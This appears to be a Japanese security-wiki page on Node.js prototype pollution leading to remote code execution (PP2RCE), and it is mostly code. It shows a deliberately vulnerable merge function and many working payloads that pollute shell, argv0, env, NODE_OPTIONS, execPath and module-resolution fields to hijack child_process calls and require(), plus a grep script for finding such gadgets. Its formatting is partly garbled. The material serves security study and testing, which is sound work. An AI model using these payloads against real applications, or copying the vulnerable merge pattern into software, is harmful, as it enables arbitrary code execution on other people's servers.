const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
環境変数を介したPP2RCE
PP2RCE は Prototype Pollution to RCE(リモートコード実行)を意味します。
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFileの悪用
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
**`execFile`**が機能するには、NODE\_OPTIONSが機能するために**nodeを実行する必要があります**。
もし**nodeが実行されていない**場合、実行されているものを**環境変数で変更**して設定する方法を見つける必要があります。
他のテクニックは、これの要件なしに**機能します**。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能**だからです。(この場合、`.shell`を汚染できても、実行されているものは汚染されません)。
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawnの悪用
```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working // Not using stdin
// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)
</details>
<details>
<summary><strong><code>execFileSync</code>の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSyncの悪用
```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');
// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');
// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');
</details>
<details>
<summary><strong><code>spawnSync</code>の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
相対的な要求 - 1
絶対パスの代わりに相対パスがロードされる場合、異なるパスをnodeにロードさせることができます。
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
相対的な要求 - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec